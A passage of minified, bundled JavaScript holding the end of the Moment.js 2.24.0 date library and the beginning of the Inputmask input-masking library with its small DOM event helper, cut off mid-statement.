{ - return e ? t._dayOfMonthOrdinalParse || t._ordinalParse : t._dayOfMonthOrdinalParseLenient - }); - He(["D", "DD"], Ne); - He("Do", function (e, t) { - t[Ne] = S(e.match(ge)[0]) - }); - var Cr = Qe("Date", true); - le("DDD", ["DDDD", 3], "DDDo", "dayOfYear"); - K("dayOfYear", "DDD"); - te("dayOfYear", 4); - Ce("DDD", we); - Ce("DDDD", pe); - He(["DDD", "DDDD"], function (e, t, i) { - i._dayOfYear = S(e) - }); - - function Pr(e) { - var t = Math.round((this.clone().startOf("day") - this.clone().startOf("year")) / 864e5) + 1; - return e == null ? t : this.add(e - t, "d") - } - le("m", ["mm", 2], 0, "minute"); - K("minute", "m"); - te("minute", 14); - Ce("m", ge); - Ce("mm", ge, me); - He(["m", "mm"], Be); - var Ar = Qe("Minutes", false); - le("s", ["ss", 2], 0, "second"); - K("second", "s"); - te("second", 15); - Ce("s", ge); - Ce("ss", ge, me); - He(["s", "ss"], qe); - var Or = Qe("Seconds", false); - le("S", 0, 0, function () { - return ~~(this.millisecond() / 100) - }); - le(0, ["SS", 2], 0, function () { - return ~~(this.millisecond() / 10) - }); - le(0, ["SSS", 3], 0, "millisecond"); - le(0, ["SSSS", 4], 0, function () { - return this.millisecond() * 10 - }); - le(0, ["SSSSS", 5], 0, function () { - return this.millisecond() * 100 - }); - le(0, ["SSSSSS", 6], 0, function () { - return this.millisecond() * 1e3 - }); - le(0, ["SSSSSSS", 7], 0, function () { - return this.millisecond() * 1e4 - }); - le(0, ["SSSSSSSS", 8], 0, function () { - return this.millisecond() * 1e5 - }); - le(0, ["SSSSSSSSS", 9], 0, function () { - return this.millisecond() * 1e6 - }); - K("millisecond", "ms"); - te("millisecond", 16); - Ce("S", we, he); - Ce("SS", we, me); - Ce("SSS", we, pe); - var jr; - for (jr = "SSSS"; jr.length <= 9; jr += "S") { - Ce(jr, Le) - } - - function Hr(e, t) { - t[$e] = S(("0." + e) * 1e3) - } - for (jr = "S"; jr.length <= 9; jr += "S") { - He(jr, Hr) - } - var Ir = Qe("Milliseconds", false); - le("z", 0, 0, "zoneAbbr"); - le("zz", 0, 0, "zoneName"); - - function Fr() { - return this._isUTC ? "UTC" : "" - } - - function zr() { - return this._isUTC ? "Coordinated Universal Time" : "" - } - var Rr = L.prototype; - Rr.add = On; - Rr.calendar = In; - Rr.clone = Fn; - Rr.diff = $n; - Rr.endOf = cr; - Rr.format = Jn; - Rr.from = Kn; - Rr.fromNow = Qn; - Rr.to = Zn; - Rr.toNow = er; - Rr.get = tt; - Rr.invalidAt = wr; - Rr.isAfter = zn; - Rr.isBefore = Rn; - Rr.isBetween = Nn; - Rr.isSame = Wn; - Rr.isSameOrAfter = Bn; - Rr.isSameOrBefore = qn; - Rr.isValid = yr; - Rr.lang = ir; - Rr.locale = tr; - Rr.localeData = nr; - Rr.max = Ki; - Rr.min = Ji; - Rr.parsingFlags = br; - Rr.set = it; - Rr.startOf = fr; - Rr.subtract = jn; - Rr.toArray = vr; - Rr.toObject = _r; - Rr.toDate = pr; - Rr.toISOString = Un; - Rr.inspect = Xn; - Rr.toJSON = gr; - Rr.toString = Gn; - Rr.unix = mr; - Rr.valueOf = hr; - Rr.creationData = Mr; - Rr.year = Je; - Rr.isLeapYear = Ke; - Rr.weekYear = Lr; - Rr.isoWeekYear = Tr; - Rr.quarter = Rr.quarters = Er; - Rr.month = mt; - Rr.daysInMonth = pt; - Rr.week = Rr.weeks = Ct; - Rr.isoWeek = Rr.isoWeeks = Pt; - Rr.weeksInYear = Sr; - Rr.isoWeeksInYear = xr; - Rr.date = Cr; - Rr.day = Rr.days = qt; - Rr.weekday = $t; - Rr.isoWeekday = Vt; - Rr.dayOfYear = Pr; - Rr.hour = Rr.hours = oi; - Rr.minute = Rr.minutes = Ar; - Rr.second = Rr.seconds = Or; - Rr.millisecond = Rr.milliseconds = Ir; - Rr.utcOffset = pn; - Rr.utc = _n; - Rr.local = gn; - Rr.parseZone = yn; - Rr.hasAlignedHourOffset = bn; - Rr.isDST = wn; - Rr.isLocal = kn; - Rr.isUtcOffset = Ln; - Rr.isUtc = Tn; - Rr.isUTC = Tn; - Rr.zoneAbbr = Fr; - Rr.zoneName = zr; - Rr.dates = E("dates accessor is deprecated. Use date instead.", Cr); - Rr.months = E("months accessor is deprecated. Use month instead", mt); - Rr.years = E("years accessor is deprecated. Use year instead", Je); - Rr.zone = E("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/", vn); - Rr.isDSTShifted = E("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information", Mn); - - function Nr(e) { - return Xi(e * 1e3) - } - - function Wr() { - return Xi.apply(null, arguments).parseZone() - } - - function Br(e) { - return e - } - var qr = H.prototype; - qr.calendar = z; - qr.longDateFormat = N; - qr.invalidDate = B; - qr.ordinal = V; - qr.preparse = Br; - qr.postformat = Br; - qr.relativeTime = U; - qr.pastFuture = X; - qr.set = O; - qr.months = lt; - qr.monthsShort = dt; - qr.monthsParse = ct; - qr.monthsRegex = yt; - qr.monthsShortRegex = _t; - qr.week = St; - qr.firstDayOfYear = Et; - qr.firstDayOfWeek = Dt; - qr.weekdays = It; - qr.weekdaysMin = Nt; - qr.weekdaysShort = zt; - qr.weekdaysParse = Bt; - qr.weekdaysRegex = Ut; - qr.weekdaysShortRegex = Jt; - qr.weekdaysMinRegex = Qt; - qr.isPM = ri; - qr.meridiem = si; - - function $r(e, t, i, n) { - var r = gi(); - var a = p().set(n, t); - return r[i](a, e) - } - - function Vr(e, t, i) { - if (d(e)) { - t = e; - e = undefined - } - e = e || ""; - if (t != null) { - return $r(e, t, i, "month") - } - var n; - var r = []; - for (n = 0; n < 12; n++) { - r[n] = $r(e, n, i, "month") - } - return r - } - - function Gr(e, t, i, n) { - if (typeof e === "boolean") { - if (d(t)) { - i = t; - t = undefined - } - t = t || "" - } else { - t = e; - i = t; - e = false; - if (d(t)) { - i = t; - t = undefined - } - t = t || "" - } - var r = gi(), - a = e ? r._week.dow : 0; - if (i != null) { - return $r(t, (i + a) % 7, n, "day") - } - var s; - var o = []; - for (s = 0; s < 7; s++) { - o[s] = $r(t, (s + a) % 7, n, "day") - } - return o - } - - function Ur(e, t) { - return Vr(e, t, "months") - } - - function Xr(e, t) { - return Vr(e, t, "monthsShort") - } - - function Jr(e, t, i) { - return Gr(e, t, i, "weekdays") - } - - function Kr(e, t, i) { - return Gr(e, t, i, "weekdaysShort") - } - - function Qr(e, t, i) { - return Gr(e, t, i, "weekdaysMin") - } - pi("en", { - dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, - ordinal: function (e) { - var t = e % 10, - i = S(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; - return e + i - } - }); - r.lang = E("moment.lang is deprecated. Use moment.locale instead.", pi); - r.langData = E("moment.langData is deprecated. Use moment.localeData instead.", gi); - var Zr = Math.abs; - - function ea() { - var e = this._data; - this._milliseconds = Zr(this._milliseconds); - this._days = Zr(this._days); - this._months = Zr(this._months); - e.milliseconds = Zr(e.milliseconds); - e.seconds = Zr(e.seconds); - e.minutes = Zr(e.minutes); - e.hours = Zr(e.hours); - e.months = Zr(e.months); - e.years = Zr(e.years); - return this - } - - function ta(e, t, i, n) { - var r = Yn(t, i); - e._milliseconds += n * r._milliseconds; - e._days += n * r._days; - e._months += n * r._months; - return e._bubble() - } - - function ia(e, t) { - return ta(this, e, t, 1) - } - - function na(e, t) { - return ta(this, e, t, -1) - } - - function ra(e) { - if (e < 0) { - return Math.floor(e) - } else { - return Math.ceil(e) - } - } - - function aa() { - var e = this._milliseconds; - var t = this._days; - var i = this._months; - var n = this._data; - var r, a, s, o, l; - if (!(e >= 0 && t >= 0 && i >= 0 || e <= 0 && t <= 0 && i <= 0)) { - e += ra(oa(i) + t) * 864e5; - t = 0; - i = 0 - } - n.milliseconds = e % 1e3; - r = x(e / 1e3); - n.seconds = r % 60; - a = x(r / 60); - n.minutes = a % 60; - s = x(a / 60); - n.hours = s % 24; - t += x(s / 24); - l = x(sa(t)); - i += l; - t -= ra(oa(l)); - o = x(i / 12); - i %= 12; - n.days = t; - n.months = i; - n.years = o; - return this - } - - function sa(e) { - return e * 4800 / 146097 - } - - function oa(e) { - return e * 146097 / 4800 - } - - function la(e) { - if (!this.isValid()) { - return NaN - } - var t; - var i; - var n = this._milliseconds; - e = Q(e); - if (e === "month" || e === "quarter" || e === "year") { - t = this._days + n / 864e5; - i = this._months + sa(t); - switch (e) { - case "month": - return i; - case "quarter": - return i / 3; - case "year": - return i / 12 - } - } else { - t = this._days + Math.round(oa(this._months)); - switch (e) { - case "week": - return t / 7 + n / 6048e5; - case "day": - return t + n / 864e5; - case "hour": - return t * 24 + n / 36e5; - case "minute": - return t * 1440 + n / 6e4; - case "second": - return t * 86400 + n / 1e3; - case "millisecond": - return Math.floor(t * 864e5) + n; - default: - throw new Error("Unknown unit " + e) - } - } - } - - function ua() { - if (!this.isValid()) { - return NaN - } - return this._milliseconds + this._days * 864e5 + this._months % 12 * 2592e6 + S(this._months / 12) * 31536e6 - } - - function da(e) { - return function () { - return this.as(e) - } - } - var fa = da("ms"); - var ca = da("s"); - var ha = da("m"); - var ma = da("h"); - var pa = da("d"); - var va = da("w"); - var _a = da("M"); - var ga = da("Q"); - var ya = da("y"); - - function ba() { - return Yn(this) - } - - function wa(e) { - e = Q(e); - return this.isValid() ? this[e + "s"]() : NaN - } - - function Ma(e) { - return function () { - return this.isValid() ? this._data[e] : NaN - } - } - var ka = Ma("milliseconds"); - var La = Ma("seconds"); - var Ta = Ma("minutes"); - var xa = Ma("hours"); - var Sa = Ma("days"); - var Ya = Ma("months"); - var Da = Ma("years"); - - function Ea() { - return x(this.days() / 7) - } - var Ca = Math.round; - var Pa = { - ss: 44, - s: 45, - m: 45, - h: 22, - d: 26, - M: 11 - }; - - function Aa(e, t, i, n, r) { - return r.relativeTime(t || 1, !!i, e, n) - } - - function Oa(e, t, i) { - var n = Yn(e).abs(); - var r = Ca(n.as("s")); - var a = Ca(n.as("m")); - var s = Ca(n.as("h")); - var o = Ca(n.as("d")); - var l = Ca(n.as("M")); - var u = Ca(n.as("y")); - var d = r <= Pa.ss && ["s", r] || r < Pa.s && ["ss", r] || a <= 1 && ["m"] || a < Pa.m && ["mm", a] || s <= 1 && ["h"] || s < Pa.h && ["hh", s] || o <= 1 && ["d"] || o < Pa.d && ["dd", o] || l <= 1 && ["M"] || l < Pa.M && ["MM", l] || u <= 1 && ["y"] || ["yy", u]; - d[2] = t; - d[3] = +e > 0; - d[4] = i; - return Aa.apply(null, d) - } - - function ja(e) { - if (e === undefined) { - return Ca - } - if (typeof e === "function") { - Ca = e; - return true - } - return false - } - - function Ha(e, t) { - if (Pa[e] === undefined) { - return false - } - if (t === undefined) { - return Pa[e] - } - Pa[e] = t; - if (e === "s") { - Pa.ss = t - 1 - } - return true - } - - function Ia(e) { - if (!this.isValid()) { - return this.localeData().invalidDate() - } - var t = this.localeData(); - var i = Oa(this, !e, t); - if (e) { - i = t.pastFuture(+this, i) - } - return t.postformat(i) - } - var Fa = Math.abs; - - function za(e) { - return (e > 0) - (e < 0) || +e - } - - function Ra() { - if (!this.isValid()) { - return this.localeData().invalidDate() - } - var e = Fa(this._milliseconds) / 1e3; - var t = Fa(this._days); - var i = Fa(this._months); - var n, r, a; - n = x(e / 60); - r = x(n / 60); - e %= 60; - n %= 60; - a = x(i / 12); - i %= 12; - var s = a; - var o = i; - var l = t; - var u = r; - var d = n; - var f = e ? e.toFixed(3).replace(/\.?0+$/, "") : ""; - var c = this.asSeconds(); - if (!c) { - return "P0D" - } - var h = c < 0 ? "-" : ""; - var m = za(this._months) !== za(c) ? "-" : ""; - var p = za(this._days) !== za(c) ? "-" : ""; - var v = za(this._milliseconds) !== za(c) ? "-" : ""; - return h + "P" + (s ? m + s + "Y" : "") + (o ? m + o + "M" : "") + (l ? p + l + "D" : "") + (u || d || f ? "T" : "") + (u ? v + u + "H" : "") + (d ? v + d + "M" : "") + (f ? v + f + "S" : "") - } - var Na = on.prototype; - Na.isValid = an; - Na.abs = ea; - Na.add = ia; - Na.subtract = na; - Na.as = la; - Na.asMilliseconds = fa; - Na.asSeconds = ca; - Na.asMinutes = ha; - Na.asHours = ma; - Na.asDays = pa; - Na.asWeeks = va; - Na.asMonths = _a; - Na.asQuarters = ga; - Na.asYears = ya; - Na.valueOf = ua; - Na._bubble = aa; - Na.clone = ba; - Na.get = wa; - Na.milliseconds = ka; - Na.seconds = La; - Na.minutes = Ta; - Na.hours = xa; - Na.days = Sa; - Na.weeks = Ea; - Na.months = Ya; - Na.years = Da; - Na.humanize = Ia; - Na.toISOString = Ra; - Na.toString = Ra; - Na.toJSON = Ra; - Na.locale = tr; - Na.localeData = nr; - Na.toIsoString = E("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)", Ra); - Na.lang = ir; - le("X", 0, 0, "unix"); - le("x", 0, 0, "valueOf"); - Ce("x", Te); - Ce("X", Ye); - He("X", function (e, t, i) { - i._d = new Date(parseFloat(e, 10) * 1e3) - }); - He("x", function (e, t, i) { - i._d = new Date(S(e)) - }); - r.version = "2.24.0"; - a(Xi); - r.fn = Rr; - r.min = Zi; - r.max = en; - r.now = tn; - r.utc = p; - r.unix = Nr; - r.months = Ur; - r.isDate = f; - r.locale = pi; - r.invalid = b; - r.duration = Yn; - r.isMoment = T; - r.weekdays = Jr; - r.parseZone = Wr; - r.localeData = gi; - r.isDuration = ln; - r.monthsShort = Xr; - r.weekdaysMin = Qr; - r.defineLocale = vi; - r.updateLocale = _i; - r.locales = yi; - r.weekdaysShort = Kr; - r.normalizeUnits = Q; - r.relativeTimeRounding = ja; - r.relativeTimeThreshold = Ha; - r.calendarFormat = Hn; - r.prototype = Rr; - r.HTML5_FMT = { - DATETIME_LOCAL: "YYYY-MM-DDTHH:mm", - DATETIME_LOCAL_SECONDS: "YYYY-MM-DDTHH:mm:ss", - DATETIME_LOCAL_MS: "YYYY-MM-DDTHH:mm:ss.SSS", - DATE: "YYYY-MM-DD", - TIME: "HH:mm", - TIME_SECONDS: "HH:mm:ss", - TIME_MS: "HH:mm:ss.SSS", - WEEK: "GGGG-[W]WW", - MONTH: "YYYY-MM" - }; - return r - }) - }).call(t, i(150)(e)) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(134), i(135)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("../global/window"), require("../global/document")) : window.dependencyLib = s(window, document) - }(function (e, t) { - function i(e, t) { - for (var i = 0, n = e.length; i < n; i++) - if (e[i] === t) return i; - return -1 - } - - function n(e) { - return null == e ? e + "" : "object" == typeof e || "function" == typeof e ? l[l.toString.call(e)] || "object" : typeof e - } - - function r(e) { - return null != e && e === e.window - } - - function a(e) { - var t = "length" in e && e.length, - i = n(e); - return "function" !== i && !r(e) && (!(1 !== e.nodeType || !t) || ("array" === i || 0 === t || "number" == typeof t && t > 0 && t - 1 in e)) - } - - function s(e) { - return e instanceof Element - } - - function o(i) { - return i instanceof o ? i : this instanceof o ? void(void 0 !== i && null !== i && i !== e && (this[0] = i.nodeName ? i : void 0 !== i[0] && i[0].nodeName ? i[0] : t.querySelector(i), void 0 !== this[0] && null !== this[0] && (this[0].eventRegistry = this[0].eventRegistry || {}))) : new o(i) - } - for (var l = {}, u = "Boolean Number String Function Array Date RegExp Object Error".split(" "), d = 0; d < u.length; d++) l["[object " + u[d] + "]"] = u[d].toLowerCase(); - return o.prototype = { - on: function (e, t) { - if (s(this[0])) - for (var i = this[0].eventRegistry, n = this[0], r = e.split(" "), a = 0; a < r.length; a++) { - var o = r[a].split("."); - ! function (e, r) { - n.addEventListener ? n.addEventListener(e, t, !1) : n.attachEvent && n.attachEvent("on" + e, t), i[e] = i[e] || {}, i[e][r] = i[e][r] || [], i[e][r].push(t) - }(o[0], o[1] || "global") - } - return this - }, - off: function (e, t) { - if (s(this[0])) - for (var i = this[0].eventRegistry, n = this[0], r = e.split(" "), a = 0; a < r.length; a++) - for (var o = r[a].split("."), l = function (e, n) { - var r, a, s = []; - if (e.length > 0) - if (void 0 === t) - for (r = 0, a = i[e][n].length; r < a; r++) s.push({ - ev: e, - namespace: n && n.length > 0 ? n : "global", - handler: i[e][n][r] - }); - else s.push({ - ev: e, - namespace: n && n.length > 0 ? n : "global", - handler: t - }); - else if (n.length > 0) - for (var o in i) - for (var l in i[o]) - if (l === n) - if (void 0 === t) - for (r = 0, a = i[o][l].length; r < a; r++) s.push({ - ev: o, - namespace: l, - handler: i[o][l][r] - }); - else s.push({ - ev: o, - namespace: l, - handler: t - }); - return s - }(o[0], o[1]), u = 0, d = l.length; u < d; u++) ! function (e, t, r) { - if (e in i == 1) - if (n.removeEventListener ? n.removeEventListener(e, r, !1) : n.detachEvent && n.detachEvent("on" + e, r), "global" === t) - for (var a in i[e]) i[e][a].splice(i[e][a].indexOf(r), 1); - else i[e][t].splice(i[e][t].indexOf(r), 1) - }(l[u].ev, l[u].namespace, l[u].handler); - return this - }, - trigger: function (e) { - if (s(this[0])) - for (var i = this[0].eventRegistry, n = this[0], r = "string" == typeof e ? e.split(" ") : [e.type], a = 0; a < r.length; a++) { - var l = r[a].split("."), - u = l[0], - d = l[1] || "global"; - if (void 0 !== t && "global" === d) { - var f, c, h = { - bubbles: !0, - cancelable: !0, - detail: Array.prototype.slice.call(arguments, 1) - }; - if (t.createEvent) { - try { - f = new CustomEvent(u, h) - } catch (e) { - (f = t.createEvent("CustomEvent")).initCustomEvent(u, h.bubbles, h.cancelable, h.detail) - } - e.type && o.extend(f, e), n.dispatchEvent(f) - } else(f = t.createEventObject()).eventType = u, e.type && o.extend(f, e), n.fireEvent("on" + f.eventType, f) - } else if (void 0 !== i[u]) - if (arguments[0] = arguments[0].type ? arguments[0] : o.Event(arguments[0]), "global" === d) - for (var m in i[u]) - for (c = 0; c < i[u][m].length; c++) i[u][m][c].apply(n, arguments); - else - for (c = 0; c < i[u][d].length; c++) i[u][d][c].apply(n, arguments) - } - return this - } - }, o.isFunction = function (e) { - return "function" === n(e) - }, o.noop = function () {}, o.isArray = Array.isArray, o.inArray = function (e, t, n) { - return null == t ? -1 : i(t, e) - }, o.valHooks = void 0, o.isPlainObject = function (e) { - return "object" === n(e) && !e.nodeType && !r(e) && !(e.constructor && !l.hasOwnProperty.call(e.constructor.prototype, "isPrototypeOf")) - }, o.extend = function () { - var e, t, i, n, r, a, s = arguments[0] || {}, - l = 1, - u = arguments.length, - d = !1; - for ("boolean" == typeof s && (d = s, s = arguments[l] || {}, l++), "object" == typeof s || o.isFunction(s) || (s = {}), l === u && (s = this, l--); l < u; l++) - if (null != (e = arguments[l])) - for (t in e) i = s[t], s !== (n = e[t]) && (d && n && (o.isPlainObject(n) || (r = o.isArray(n))) ? (r ? (r = !1, a = i && o.isArray(i) ? i : []) : a = i && o.isPlainObject(i) ? i : {}, s[t] = o.extend(d, a, n)) : void 0 !== n && (s[t] = n)); - return s - }, o.each = function (e, t) { - var i = 0; - if (a(e)) - for (var n = e.length; i < n && !1 !== t.call(e[i], i, e[i]); i++); - else - for (i in e) - if (!1 === t.call(e[i], i, e[i])) break; - return e - }, o.map = function (e, t) { - var i, n = 0, - r = e.length, - s = []; - if (a(e)) - for (; n < r; n++) null != (i = t(e[n], n)) && s.push(i); - else - for (n in e) null != (i = t(e[n], n)) && s.push(i); - return [].concat(s) - }, o.data = function (e, t, i) { - if (void 0 === i) return e.__data ? e.__data[t] : null; - e.__data = e.__data || {}, e.__data[t] = i - }, "function" == typeof e.CustomEvent ? o.Event = e.CustomEvent : (o.Event = function (e, i) { - i = i || { - bubbles: !1, - cancelable: !1, - detail: void 0 - }; - var n = t.createEvent("CustomEvent"); - return n.initCustomEvent(e, i.bubbles, i.cancelable, i.detail), n - }, o.Event.prototype = e.Event.prototype), o - }) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(1), i(134), i(135)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./global/window"), require("./global/document")) : window.Inputmask = s(window.dependencyLib || jQuery, window, document) - }(function (e, t, i, n) { - function r(t, i, s) { - if (!(this instanceof r)) return new r(t, i, s); - this.el = n, this.events = {}, this.maskset = n, this.refreshValue = !1, !0 !== s && (e.isPlainObject(t) ? i = t : (i = i || {}).alias = t, this.opts = e.extend(!0, {}, this.defaults, i), this.noMasksCache = i && i.definitions !== n, this.userOptions = i || {}, this.isRTL = this.opts.numericInput, a(this.opts.alias, i, this.opts)) - } - - function a(t, i, s) { - var o = r.prototype.aliases[t]; - return o ? (o.alias && a(o.alias, n, s), e.extend(!0, s, o), e.extend(!0, s, i), !0) : (null === s.mask && (s.mask = t), !1) - } - - function s(t, i) { - function a(t, a, s) { - var o = !1; - if (null !== t && "" !== t || ((o = null !== s.regex) ? t = (t = s.regex).replace(/^(\^)(.*)(\$)$/, "$2") : (o = !0, t = ".*")), 1 === t.length && !1 === s.greedy && 0 !== s.repeat && (s.placeholder = ""), s.repeat > 0 || "*" === s.repeat || "+" === s.repeat) { - var l = "*" === s.repeat ? 0 : "+" === s.repeat ? 1 : s.repeat; - t = s.groupmarker.start + t + s.groupmarker.end + s.quantifiermarker.start + l + "," + s.repeat + s.quantifiermarker.end - } - var u, d = o ? "regex_" + s.regex : s.numericInput ? t.split("").reverse().join("") : t; - return r.prototype.masksCache[d] === n || !0 === i ? (u = { - mask: t, - maskToken: r.prototype.analyseMask(t, o, s), - validPositions: {}, - _buffer: n, - buffer: n, - tests: {}, - metadata: a, - maskLength: n - }, !0 !== i && (r.prototype.masksCache[d] = u, u = e.extend(!0, {}, r.prototype.masksCache[d]))) : u = e.extend(!0, {}, r.prototype.masksCache[d]), u - } - if (e.isFunction(t.mask) && (t.mask = t.mask(t)), e.isArray(t.mask)) { - if (t.mask.length > 1) { - t.keepStatic = null === t.keepStatic || t.keepStatic; - var s = t.groupmarker.start; - return e.each(t.numericInput ? t.mask.reverse() : t.mask, function (i, r) { - s.length > 1 && (s += t.groupmarker.end + t.alternatormarker + t.groupmarker.start), r.mask === n || e.isFunction(r.mask) ? s += r : s += r.mask - }), s += t.groupmarker.end, a(s, t.mask, t) - } - t.mask = t.mask.pop() - } - return t.mask && t.mask.mask !== n && !e.isFunction(t.mask.mask) ? a(t.mask.mask, t.mask, t) : a(t.mask, t.mask, t) - } - - function o(a, s, l) { - function h(e, t, i) { - t = t || 0; - var r, a, s, o = [], - u = 0, - d = v(); - do { - !0 === e && m().validPositions[u] ? (a = (s = m().validPositions[u]).match, r = s.locator.slice(), o.push(!0 === i ? s.input : !1 === i ? a.nativeDef : O(u, a))) : (a = (s = y(u, r, u - 1)).match, r = s.locator.slice(), (!1 === l.jitMasking || u < d || "number" == typeof l.jitMasking && isFinite(l.jitMasking) && l.jitMasking > u) && o.push(!1 === i ? a.nativeDef : O(u, a))), u++ - } while ((V === n || u < V) && (null !== a.fn || "" !== a.def) || t > u); - return "" === o[o.length - 1] && o.pop(), m().maskLength = u + 1, o - } - - function m() { - return s - } - - function p(e) { - var t = m(); - t.buffer = n, !0 !== e && (t.validPositions = {}, t.p = 0) - } - - function v(e, t, i) { - var r = -1, - a = -1, - s = i || m().validPositions; - e === n && (e = -1); - for (var o in s) { - var l = parseInt(o); - s[l] && (t || !0 !== s[l].generatedInput) && (l <= e && (r = l), l >= e && (a = l)) - } - return -1 !== r && e - r > 1 || a < e ? r : a - } - - function _(t, i, r, a) { - var s, o = t, - u = e.extend(!0, {}, m().validPositions), - d = !1; - for (m().p = t, s = i - 1; s >= o; s--) m().validPositions[s] !== n && (!0 !== r && (!m().validPositions[s].match.optionality && function (e) { - var t = m().validPositions[e]; - if (t !== n && null === t.match.fn) { - var i = m().validPositions[e - 1], - r = m().validPositions[e + 1]; - return i !== n && r !== n - } - return !1 - }(s) || !1 === l.canClearPosition(m(), s, v(), a, l)) || delete m().validPositions[s]); - for (p(!0), s = o + 1; s <= v();) { - for (; m().validPositions[o] !== n;) o++; - if (s < o && (s = o + 1), m().validPositions[s] === n && D(s)) s++; - else { - var f = y(s); - !1 === d && u[o] && u[o].match.def === f.match.def ? (m().validPositions[o] = e.extend(!0, {}, u[o]), m().validPositions[o].input = f.input, delete m().validPositions[s], s++) : w(o, f.match.def) ? !1 !== Y(o, f.input || O(s), !0) && (delete m().validPositions[s], s++, d = !0) : D(s) || (s++, o--), o++ - } - } - p(!0) - } - - function g(e, t) { - for (var i, r = e, a = v(), s = m().validPositions[a] || M(0)[0], o = s.alternation !== n ? s.locator[s.alternation].toString().split(",") : [], u = 0; u < r.length && (!((i = r[u]).match && (l.greedy && !0 !== i.match.optionalQuantifier || (!1 === i.match.optionality || !1 === i.match.newBlockMarker) && !0 !== i.match.optionalQuantifier) && (s.alternation === n || s.alternation !== i.alternation || i.locator[s.alternation] !== n && S(i.locator[s.alternation].toString().split(","), o))) || !0 === t && (null !== i.match.fn || /[0-9a-bA-Z]/.test(i.match.def))); u++); - return i - } - - function y(e, t, i) { - return m().validPositions[e] || g(M(e, t ? t.slice() : t, i)) - } - - function b(e) { - return m().validPositions[e] ? m().validPositions[e] : M(e)[0] - } - - function w(e, t) { - for (var i = !1, n = M(e), r = 0; r < n.length; r++) - if (n[r].match && n[r].match.def === t) { - i = !0; - break - } - return i - } - - function M(t, i, r) { - function a(i, r, s, u) { - function f(s, u, v) { - function _(t, i) { - var n = 0 === e.inArray(t, i.matches); - return n || e.each(i.matches, function (e, r) { - if (!0 === r.isQuantifier && (n = _(t, i.matches[e - 1]))) return !1 - }), n - } - - function g(t, i, r) { - var a, s; - if (m().validPositions[t - 1] && r && m().tests[t]) - for (var o = m().validPositions[t - 1].locator, l = m().tests[t][0].locator, u = 0; u < r; u++) - if (o[u] !== l[u]) return o.slice(r + 1); - return (m().tests[t] || m().validPositions[t]) && e.each(m().tests[t] || [m().validPositions[t]], function (e, t) { - var o = r !== n ? r : t.alternation, - l = t.locator[o] !== n ? t.locator[o].toString().indexOf(i) : -1; - (s === n || l < s) && -1 !== l && (a = t, s = l) - }), a ? a.locator.slice((r !== n ? r : a.alternation) + 1) : r !== n ? g(t, i) : n - } - if (d > 1e4) throw "Inputmask: There is probably an error in your mask definition or in the code. Create an issue on github with an example of the mask you are using. " + m().mask; - if (d === t && s.matches === n) return c.push({ - match: s, - locator: u.reverse(), - cd: p - }), !0; - if (s.matches !== n) { - if (s.isGroup && v !== s) { - if (s = f(i.matches[e.inArray(s, i.matches) + 1], u)) return !0 - } else if (s.isOptional) { - var y = s; - if (s = a(s, r, u, v)) { - if (o = c[c.length - 1].match, !_(o, y)) return !0; - h = !0, d = t - } - } else if (s.isAlternator) { - var b, w = s, - M = [], - k = c.slice(), - L = u.length, - T = r.length > 0 ? r.shift() : -1; - if (-1 === T || "string" == typeof T) { - var x, S = d, - Y = r.slice(), - D = []; - if ("string" == typeof T) D = T.split(","); - else - for (x = 0; x < w.matches.length; x++) D.push(x); - for (var E = 0; E < D.length; E++) { - if (x = parseInt(D[E]), c = [], r = g(d, x, L) || Y.slice(), !0 !== (s = f(w.matches[x] || i.matches[x], [x].concat(u), v) || s) && s !== n && D[D.length - 1] < w.matches.length) { - var C = e.inArray(s, i.matches) + 1; - i.matches.length > C && (s = f(i.matches[C], [C].concat(u.slice(1, u.length)), v)) && (D.push(C.toString()), e.each(c, function (e, t) { - t.alternation = u.length - 1 - })) - } - b = c.slice(), d = S, c = []; - for (var P = 0; P < b.length; P++) { - var A = b[P], - O = !1; - A.alternation = A.alternation || L; - for (var j = 0; j < M.length; j++) { - var H = M[j]; - if ("string" != typeof T || -1 !== e.inArray(A.locator[A.alternation].toString(), D)) { - if (function (e, t) { - return e.match.nativeDef === t.match.nativeDef || e.match.def === t.match.nativeDef || e.match.nativeDef === t.match.def - }(A, H)) { - O = !0, A.alternation === H.alternation && -1 === H.locator[H.alternation].toString().indexOf(A.locator[A.alternation]) && (H.locator[H.alternation] = H.locator[H.alternation] + "," + A.locator[A.alternation], H.alternation = A.alternation), A.match.nativeDef === H.match.def && (A.locator[A.alternation] = H.locator[H.alternation], M.splice(M.indexOf(H), 1, A)); - break - } - if (A.match.def === H.match.def) { - O = !1; - break - } - if (function (e, i) { - return null === e.match.fn && null !== i.match.fn && i.match.fn.test(e.match.def, m(), t, !1, l, !1) - }(A, H) || function (e, i) { - return null !== e.match.fn && null !== i.match.fn && i.match.fn.test(e.match.def.replace(/[\[\]]/g, ""), m(), t, !1, l, !1) - }(A, H)) { - A.alternation === H.alternation && -1 === A.locator[A.alternation].toString().indexOf(H.locator[H.alternation].toString().split("")[0]) && (A.na = A.na || A.locator[A.alternation].toString(), -1 === A.na.indexOf(A.locator[A.alternation].toString().split("")[0]) && (A.na = A.na + "," + A.locator[H.alternation].toString().split("")[0]), O = !0, A.locator[A.alternation] = H.locator[H.alternation].toString().split("")[0] + "," + A.locator[A.alternation], M.splice(M.indexOf(H), 0, A)); - break - } - } - } - O || M.push(A) - } - } - "string" == typeof T && (M = e.map(M, function (t, i) { - if (isFinite(i)) { - var r = t.alternation, - a = t.locator[r].toString().split(","); - t.locator[r] = n, t.alternation = n; - for (var s = 0; s < a.length; s++) - 1 !== e.inArray(a[s], D) && (t.locator[r] !== n ? (t.locator[r] += ",", t.locator[r] += a[s]) : t.locator[r] = parseInt(a[s]), t.alternation = r); - if (t.locator[r] !== n) return t - } - })), c = k.concat(M), d = t, h = c.length > 0, s = M.length > 0, r = 